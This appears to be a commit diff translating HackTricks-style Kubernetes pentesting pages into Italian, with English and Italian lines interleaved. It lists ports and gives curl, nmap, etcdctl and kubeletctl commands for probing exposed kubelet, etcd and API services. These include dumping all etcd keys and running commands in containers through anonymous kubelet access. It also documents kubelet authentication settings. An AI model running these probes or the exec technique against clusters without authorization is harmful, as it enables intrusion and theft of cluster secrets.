| 6443/TCP | kube-apiserver | Porta API di Kubernetes |
| 8443/TCP | kube-apiserver | Porta API di Minikube |
| 8080/TCP | kube-apiserver | Porta API non sicura |
| 10250/TCP | kubelet | API HTTPS che consente accesso in modalità completa |
| 10255/TCP | kubelet | Porta HTTP di sola lettura non autenticata: pod, pod in esecuzione e stato del nodo |
| 10256/TCP | kube-proxy | Server di controllo dello stato di Kube Proxy |
| 9099/TCP | calico-felix | Server di controllo dello stato per Calico |
| 6782-4/TCP | weave | Metriche e endpoint |
| 30000-32767/TCP | NodePort | Proxy ai servizi |
| 44134/TCP | Tiller | Servizio Helm in ascolto |
### Nmap
```bash
nmap -n -T4 -p 443,2379,6666,4194,6443,8443,8080,10250,10255,10256,9099,6782-6784,30000-32767,44134 <pod_ipaddress>/16
```
### Kube-apiserver
This is the **API Kubernetes service** the administrators talks with usually using the tool **`kubectl`**.
**Common ports: 6443 and 443**, but also 8443 in minikube and 8080 as insecure.
Questo è il **servizio API Kubernetes** con cui gli amministratori comunicano solitamente utilizzando lo strumento **`kubectl`**.
**Porte comuni: 6443 e 443**, ma anche 8443 in minikube e 8080 come non sicura.
```bash
curl -k https://<IP Address>:(8|6)443/swaggerapi
curl -k https://<IP Address>:(8|6)443/healthz
curl -k https://<IP Address>:(8|6)443/api/v1
```
**Check the following page to learn how to obtain sensitive data and perform sensitive actions talking to this service:**
**Controlla la seguente pagina per imparare come ottenere dati sensibili e eseguire azioni sensibili parlando con questo servizio:**
{{#ref}}
../kubernetes-enumeration.md
@@ -63,101 +59,84 @@ curl -k https://<IP Address>:(8|6)443/api/v1
### Kubelet API
This service **run in every node of the cluster**. It's the service that will **control** the pods inside the **node**. It talks with the **kube-apiserver**.
Questo servizio **è in esecuzione in ogni nodo del cluster**. È il servizio che **controlla** i pod all'interno del **nodo**. Comunica con il **kube-apiserver**.
If you find this service exposed you might have found an **unauthenticated RCE**.
Se trovi questo servizio esposto potresti aver trovato un **RCE non autenticato**.
#### Kubelet API
```bash
curl -k https://<IP address>:10250/metrics
curl -k https://<IP address>:10250/pods
```
Se la risposta è `Unauthorized`, allora è necessaria l'autenticazione.
If the response is `Unauthorized` then it requires authentication.
If you can list nodes you can get a list of kubelets endpoints with:
Se puoi elencare i nodi, puoi ottenere un elenco degli endpoint kubelet con:
```bash
kubectl get nodes -o custom-columns='IP:.status.addresses[0].address,KUBELET_PORT:.status.daemonEndpoints.kubeletEndpoint.Port' | grep -v KUBELET_PORT | while IFS='' read -r node; do
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
ip=$(echo $node | awk '{print $1}')
port=$(echo $node | awk '{print $2}')
echo "curl -k --max-time 30 https://$ip:$port/pods"
echo "curl -k --max-time 30 https://$ip:2379/version" #Check also for etcd
done
```
#### kubelet (Read only)
#### kubelet (Solo lettura)
```bash
curl -k https://<IP Address>:10255
http://<external-IP>:10255/pods
```
### etcd API
### API etcd
```bash
curl -k https://<IP address>:2379
curl -k https://<IP address>:2379/version
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### Tiller
```bash
helm --host tiller-deploy.kube-system:44134 version
```
You could abuse this service to escalate privileges inside Kubernetes:
Potresti abusare di questo servizio per escalare i privilegi all'interno di Kubernetes:
### cAdvisor
Service useful to gather metrics.
Servizio utile per raccogliere metriche.
```bash
curl -k https://<IP Address>:4194
```
### NodePort
When a port is exposed in all the nodes via a **NodePort**, the same port is opened in all the nodes proxifying the traffic into the declared **Service**. By default this port will be in in the **range 30000-32767**. So new unchecked services might be accessible through those ports.
Quando una porta è esposta in tutti i nodi tramite un **NodePort**, la stessa porta è aperta in tutti i nodi, proiettando il traffico nel **Service** dichiarato. Per impostazione predefinita, questa porta sarà nell'**intervallo 30000-32767**. Quindi, nuovi servizi non controllati potrebbero essere accessibili tramite quelle porte.
```bash
sudo nmap -sS -p 30000-32767 <IP>
```
## Vulnerable Misconfigurations
### Kube-apiserver Anonymous Access
### Kube-apiserver Accesso Anonimo
Anonymous access to **kube-apiserver API endpoints is not allowed**. But you could check some endpoints:
L'accesso anonimo agli **endpoint API kube-apiserver non è consentito**. Ma puoi controllare alcuni endpoint:
![](https://www.cyberark.com/wp-content/uploads/2019/09/Kube-Pen-2-fig-5.png)
### **Checking for ETCD Anonymous Access**
### **Controllo dell'Accesso Anonimo a ETCD**
The ETCD stores the cluster secrets, configuration files and more **sensitive data**. By **default**, the ETCD **cannot** be accessed **anonymously**, but it always good to check.
If the ETCD can be accessed anonymously, you may need to **use the** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **tool**. The following command will get all the keys stored:
L'ETCD memorizza i segreti del cluster, i file di configurazione e altri **dati sensibili**. Per **default**, l'ETCD **non può** essere accessibile **anonimamente**, ma è sempre bene controllare.
Se l'ETCD può essere accessibile anonimamente, potresti dover **utilizzare il** [**etcdctl**](https://github.com/etcd-io/etcd/blob/master/etcdctl/READMEv2.md) **strumento**. Il seguente comando recupererà tutte le chiavi memorizzate:
```bash
etcdctl --endpoints=http://<MASTER-IP>:2379 get / --prefix --keys-only
```
### **Kubelet RCE**
The [**Kubelet documentation**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) explains that by **default anonymous acce**ss to the service is **allowed:**
La [**documentazione di Kubelet**](https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/) spiega che per **default l'accesso anonimo** al servizio è **consentito:**
> Enables anonymous requests to the Kubelet server. Requests that are not rejected by another authentication method are treated as anonymous requests. Anonymous requests have a username of `system:anonymous`, and a group name of `system:unauthenticated`
> Abilita richieste anonime al server Kubelet. Le richieste che non vengono rifiutate da un altro metodo di autenticazione sono trattate come richieste anonime. Le richieste anonime hanno un nome utente di `system:anonymous` e un nome di gruppo di `system:unauthenticated`
To understand better how the **authentication and authorization of the Kubelet API works** check this page:
Per comprendere meglio come funziona **l'autenticazione e l'autorizzazione dell'API Kubelet**, controlla questa pagina:
{{#ref}}
kubelet-authentication-and-authorization.md
{{#endref}}
The **Kubelet** service **API is not documented**, but the source code can be found here and finding the exposed endpoints is as easy as **running**:
L'**API del servizio Kubelet** **non è documentata**, ma il codice sorgente può essere trovato qui e trovare gli endpoint esposti è facile come **eseguire**:
```bash
curl -s https://raw.githubusercontent.com/kubernetes/kubernetes/master/pkg/kubelet/server/server.go | grep 'Path("/'
@@ -169,39 +148,34 @@ Path("/portForward")
Path("/containerLogs")
Path("/runningpods/").
```
Tutti sembrano interessanti.
All of them sound interesting.
You can use the [**Kubeletctl**](https://github.com/cyberark/kubeletctl) tool to interact with Kubelets and their endpoints.
Puoi utilizzare lo strumento [**Kubeletctl**](https://github.com/cyberark/kubeletctl) per interagire con i Kubelet e i loro endpoint.
#### /pods
This endpoint list pods and their containers:
Questo endpoint elenca i pod e i loro contenitori:
```bash
kubeletctl pods
```
#### /exec
This endpoint allows to execute code inside any container very easily:
Questo endpoint consente di eseguire codice all'interno di qualsiasi container molto facilmente:
```bash
kubeletctl exec [command]
```
> [!NOTE]
> To avoid this attack the _**kubelet**_ service should be run with `--anonymous-auth false` and the service should be segregated at the network level.
> Per evitare questo attacco, il servizio _**kubelet**_ dovrebbe essere eseguito con `--anonymous-auth false` e il servizio dovrebbe essere segregato a livello di rete.
### **Checking Kubelet (Read Only Port) Information Exposure**
### **Verifica dell'esposizione delle informazioni del Kubelet (porta di sola lettura)**
When a **kubelet read-only port** is exposed, it becomes possible for information to be retrieved from the API by unauthorized parties. The exposure of this port may lead to the disclosure of various **cluster configuration elements**. Although the information, including **pod names, locations of internal files, and other configurations**, may not be critical, its exposure still poses a security risk and should be avoided.
Quando una **porta di sola lettura del kubelet** è esposta, diventa possibile per parti non autorizzate recuperare informazioni dall'API. L'esposizione di questa porta può portare alla divulgazione di vari **elementi di configurazione del cluster**. Sebbene le informazioni, inclusi **nomi dei pod, posizioni di file interni e altre configurazioni**, possano non essere critiche, la loro esposizione rappresenta comunque un rischio per la sicurezza e dovrebbe essere evitata.
An example of how this vulnerability can be exploited involves a remote attacker accessing a specific URL. By navigating to `http://<external-IP>:10255/pods`, the attacker can potentially retrieve sensitive information from the kubelet:
Un esempio di come questa vulnerabilità possa essere sfruttata coinvolge un attaccante remoto che accede a un URL specifico. Navigando su `http://<external-IP>:10255/pods`, l'attaccante può potenzialmente recuperare informazioni sensibili dal kubelet:
![https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png](https://www.cyberark.com/wp-content/uploads/2019/09/KUbe-Pen-2-fig-6.png)
## References
## Riferimenti
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-2
@@ -212,7 +186,3 @@ https://labs.f-secure.com/blog/attacking-kubernetes-through-kubelet
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

146
src/pentesting-cloud/kubernetes-security/pentesting-kubernetes-services/kubelet-authentication-and-authorization.md
View File

@@ -4,110 +4,96 @@
## Kubelet Authentication <a href="#kubelet-authentication" id="kubelet-authentication"></a>
[**From the docss:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
[**Dalla documentazione:**](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
By default, requests to the kubelet's HTTPS endpoint that are not rejected by other configured authentication methods are treated as anonymous requests, and given a **username of `system:anonymous`** and a **group of `system:unauthenticated`**.
Per impostazione predefinita, le richieste all'endpoint HTTPS del kubelet che non vengono rifiutate da altri metodi di autenticazione configurati vengono trattate come richieste anonime, e viene assegnato un **nome utente di `system:anonymous`** e un **gruppo di `system:unauthenticated`**.
The **3** authentication **methods** are:
- **Anonymous** (default): Use set setting the param **`--anonymous-auth=true` or the config:**
I **3** metodi di **autenticazione** sono:
- **Anonimo** (predefinito): Usa l'impostazione impostando il parametro **`--anonymous-auth=true` o la configurazione:**
```json
"authentication": {
"anonymous": {
"enabled": true
},
```
- **Webhook**: This will **enable** the kubectl **API bearer tokens** as authorization (any valid token will be valid). Allow it with:
- ensure the `authentication.k8s.io/v1beta1` API group is enabled in the API server
- start the kubelet with the **`--authentication-token-webhook`** and **`--kubeconfig`** flags or use the following setting:
```json
"authentication": {
"webhook": {
"cacheTTL": "2m0s",
"enabled": true
},
```
> [!NOTE]
> The kubelet calls the **`TokenReview` API** on the configured API server to **determine user information** from bearer tokens
- **X509 client certificates:** Allow to authenticate via X509 client certs
- see the [apiserver authentication documentation](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) for more details
- start the kubelet with the `--client-ca-file` flag, providing a CA bundle to verify client certificates with. Or with the config:
```json
"authentication": {
"x509": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
Any request that is successfully authenticated (including an anonymous request) **is then authorized**. The **default** authorization mode is **`AlwaysAllow`**, which **allows all requests**.
However, the other possible value is **`webhook`** (which is what you will be **mostly finding out there**). This mode will **check the permissions of the authenticated user** to allow or disallow an action.
> [!WARNING]
> Note that even if the **anonymous authentication is enabled** the **anonymous access** might **not have any permissions** to perform any action.
The authorization via webhook can be configured using the **param `--authorization-mode=Webhook`** or via the config file with:
```json
"authorization": {
"mode": "Webhook",
"webhook": {
"cacheAuthorizedTTL": "5m0s",
"cacheUnauthorizedTTL": "30s"
}
"anonymous": {
"enabled": true
},
```
- **Webhook**: Questo **abiliterà** i token **API bearer** di kubectl come autorizzazione (qualsiasi token valido sarà valido). Abilitare con:
- assicurarsi che il gruppo API `authentication.k8s.io/v1beta1` sia abilitato nel server API
- avviare il kubelet con i flag **`--authentication-token-webhook`** e **`--kubeconfig`** oppure utilizzare la seguente impostazione:
```json
"authentication": {
"webhook": {
"cacheTTL": "2m0s",
"enabled": true
},
```
> [!NOTE]
> Il kubelet chiama l'**`TokenReview` API** sul server API configurato per **determinare le informazioni dell'utente** dai token bearer
The kubelet calls the **`SubjectAccessReview`** API on the configured API server to **determine** whether each request is **authorized.**
- **Certificati client X509:** Consentono di autenticarsi tramite certificati client X509
- vedere la [documentazione sull'autenticazione dell'apiserver](https://kubernetes.io/docs/reference/access-authn-authz/authentication/#x509-client-certs) per ulteriori dettagli
- avviare il kubelet con il flag `--client-ca-file`, fornendo un bundle CA per verificare i certificati client. Oppure con la configurazione:
```json
"authentication": {
"x509": {
"clientCAFile": "/etc/kubernetes/pki/ca.crt"
}
}
```
## Kubelet Authorization <a href="#kubelet-authentication" id="kubelet-authentication"></a>
The kubelet authorizes API requests using the same [request attributes](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) approach as the apiserver:
Qualsiasi richiesta che è stata autenticata con successo (inclusa una richiesta anonima) **è quindi autorizzata**. La modalità di autorizzazione **predefinita** è **`AlwaysAllow`**, che **consente tutte le richieste**.
- **Action**
Tuttavia, l'altro valore possibile è **`webhook`** (che è quello che troverai **principalmente là fuori**). Questa modalità **verificherà i permessi dell'utente autenticato** per consentire o negare un'azione.
| HTTP verb | request verb |
> [!WARNING]
> Nota che anche se l'**autenticazione anonima è abilitata**, l'**accesso anonimo** potrebbe **non avere alcun permesso** per eseguire alcuna azione.
L'autorizzazione tramite webhook può essere configurata utilizzando il **parametro `--authorization-mode=Webhook`** o tramite il file di configurazione con:
```json
"authorization": {
"mode": "Webhook",
"webhook": {
"cacheAuthorizedTTL": "5m0s",
"cacheUnauthorizedTTL": "30s"
}
},
```
Il kubelet chiama l'**`SubjectAccessReview`** API sul server API configurato per **determinare** se ogni richiesta è **autorizzata.**
Il kubelet autorizza le richieste API utilizzando lo stesso approccio degli [attributi di richiesta](https://kubernetes.io/docs/reference/access-authn-authz/authorization/#review-your-request-attributes) come l'apiserver:
- **Azione**
| Verb HTTP | verbo di richiesta |
| --------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| POST | create |
| GET, HEAD | get (for individual resources), list (for collections, including full object content), watch (for watching an individual resource or collection of resources) |
| PUT | update |
| POST | crea |
| GET, HEAD | ottieni (per risorse individuali), elenco (per collezioni, incluso il contenuto completo dell'oggetto), osserva (per osservare una risorsa individuale o una collezione di risorse) |
| PUT | aggiorna |
| PATCH | patch |
| DELETE | delete (for individual resources), deletecollection (for collections) |
| DELETE | elimina (per risorse individuali), elimina collezione (per collezioni) |
- The **resource** talking to the Kubelet api is **always** **nodes** and **subresource** is **determined** from the incoming request's path:
- La **risorsa** che comunica con l'API Kubelet è **sempre** **nodi** e il **sotto-risorsa** è **determinato** dal percorso della richiesta in arrivo:
| Kubelet API | resource | subresource |
| API Kubelet | risorsa | sotto-risorsa |
| ------------ | -------- | ----------- |
| /stats/\* | nodes | stats |
| /metrics/\* | nodes | metrics |
| /logs/\* | nodes | log |
| /spec/\* | nodes | spec |
| _all others_ | nodes | proxy |
For example, the following request tried to access the pods info of kubelet without permission:
| /stats/\* | nodi | stats |
| /metrics/\* | nodi | metrics |
| /logs/\* | nodi | log |
| /spec/\* | nodi | spec |
| _tutte le altre_ | nodi | proxy |
Ad esempio, la seguente richiesta ha tentato di accedere alle informazioni sui pod di kubelet senza autorizzazione:
```bash
curl -k --header "Authorization: Bearer ${TOKEN}" 'https://172.31.28.172:10250/pods'
Forbidden (user=system:node:ip-172-31-28-172.ec2.internal, verb=get, resource=nodes, subresource=proxy)
```
- We got a **Forbidden**, so the request **passed the Authentication check**. If not, we would have got just an `Unauthorised` message.
- We can see the **username** (in this case from the token)
- Check how the **resource** was **nodes** and the **subresource** **proxy** (which makes sense with the previous information)
- Abbiamo ricevuto un **Forbidden**, quindi la richiesta **ha superato il controllo di autenticazione**. Altrimenti, avremmo ricevuto solo un messaggio `Unauthorised`.
- Possiamo vedere il **nome utente** (in questo caso dal token)
- Controlla come la **risorsa** fosse **nodes** e il **subresource** **proxy** (il che ha senso con le informazioni precedenti)
## References
- [https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/](https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/)
{{#include ../../../banners/hacktricks-training.md}}